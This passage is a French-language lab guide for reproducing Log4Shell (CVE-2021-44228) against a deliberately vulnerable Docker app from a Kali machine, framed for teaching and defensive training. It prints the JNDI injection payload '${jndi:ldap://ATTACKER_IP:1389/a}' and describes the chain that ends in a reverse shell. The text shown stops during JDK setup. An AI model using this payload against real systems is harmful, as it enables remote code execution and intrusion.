Laboratoire pratique pour exploiter et comprendre Log4Shell (CVE-2021-44228) en utilisant Docker, Kali Linux, Burp Suite et log4j-shell-poc. Pour l'enseignement et la formation défensive uniquement dans des environnements de laboratoire contrôlés.
Log4Shell (CVE-2021-44228) est l'une des vulnérabilités d'exécution de code à distance les plus impactantes jamais divulguées. Elle affecte Apache Log4j 2, un framework de journalisation Java largement utilisé, et permet aux attaquants d'exécuter du code arbitraire en abusant des recherches JNDI dans les messages de journal.
Ce guide fournit un laboratoire de démonstration complet et reproductible utilisant :
log4j-shell-pocIl est conçu uniquement pour l'enseignement, la recherche, la formation et la sensibilisation défensive dans des environnements contrôlés. La structure et le style suivent le même esprit que le README du laboratoire compagnon « Shellshock ».
poc.py pour utiliser JDK 1.8.0_202curlCe laboratoire doit uniquement être réalisé dans un environnement contrôlé où vous avez une autorisation explicite (votre propre laboratoire, des VM de classe, etc.).
Log4Shell (CVE-2021-44228) est une vulnérabilité RCE critique dans Apache Log4j 2.
Le problème survient parce que les versions vulnérables de Log4j2 interprètent des chaînes contrôlées par l'attaquant telles que :
${jndi:ldap://ATTACKER_IP:1389/a}
Lorsque cette chaîne est journalisée, Log4j :
Dans ce laboratoire, vous allez :
log4j-shell-poc.curl et via Burp Suite.À la fin de ce laboratoire, vous devriez être capable de :
Tous les composants s'exécutent sur votre laboratoire virtuel existant. Pour ce document, nous supposons :
| Composant | Rôle / Description | Outils / Services | Adressage exemple |
|---|---|---|---|
| VM Kali Linux (Attaquant + Hôte) | Exécute le PoC d'exploitation, serveur LDAP, serveur HTTP, écouteur Netcat, Burp Suite | Python 3, JDK 1.8.0_202, Netcat, Burp Suite, Docker, curl, Git | 192.168.1.4 (exemple IP Kali) |
| Application web Log4j2 vulnérable | Cible ; application web Spring Boot vulnérable à Log4Shell | Image Docker : ghcr.io/christophetd/log4shell-vulnerable-app | Exposée à http://127.0.0.1:8080 |
Idée clé
L'attaquant injecte :
${jndi:ldap://192.168.1.4:1389/a}
dans un en-tête HTTP. L'application vulnérable le journalise en utilisant Log4j2 → effectue une recherche JNDI LDAP vers 192.168.1.4:1389 → télécharge une classe malveillante depuis http://192.168.1.4:8000 → exécute la classe, qui ouvre un reverse shell vers 192.168.1.4:9001.
Sur Kali, vous avez besoin de :
nc).Tout au long de ce guide, nous supposons que l'IP Kali est :
192.168.1.4
Si votre IP diffère, ajustez toutes les commandes en conséquence.
Le PoC repose sur Java SE 8 Update 202 (JDK 1.8.0_202) car les versions ultérieures de Java restreignent le comportement de chargement de classes à distance utilisé par cet exploit.
Même si Kali possède déjà OpenJDK 21 (ou similaire), vous devez quand même installer 8u202 séparément.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
Racine du miroir :
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
Télécharger l'archive tar Linux x64 (≈185 Mo) :
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz # devrait être ~185M
/usr/bin/jdk1.8.0_202sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
L'option --strip-components=1 supprime le répertoire de premier niveau de l'archive afin que les fichiers atterrissent directement sous /usr/bin/jdk1.8.0_202.
/usr/bin/jdk1.8.0_202/bin/java -version
Sortie attendue :
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)
Si vous voyez cela, JDK 1.8.0_202 est correctement installé.
Dans un nouveau terminal sur Kali (vous pouvez rester dans ~/Log4Shell) :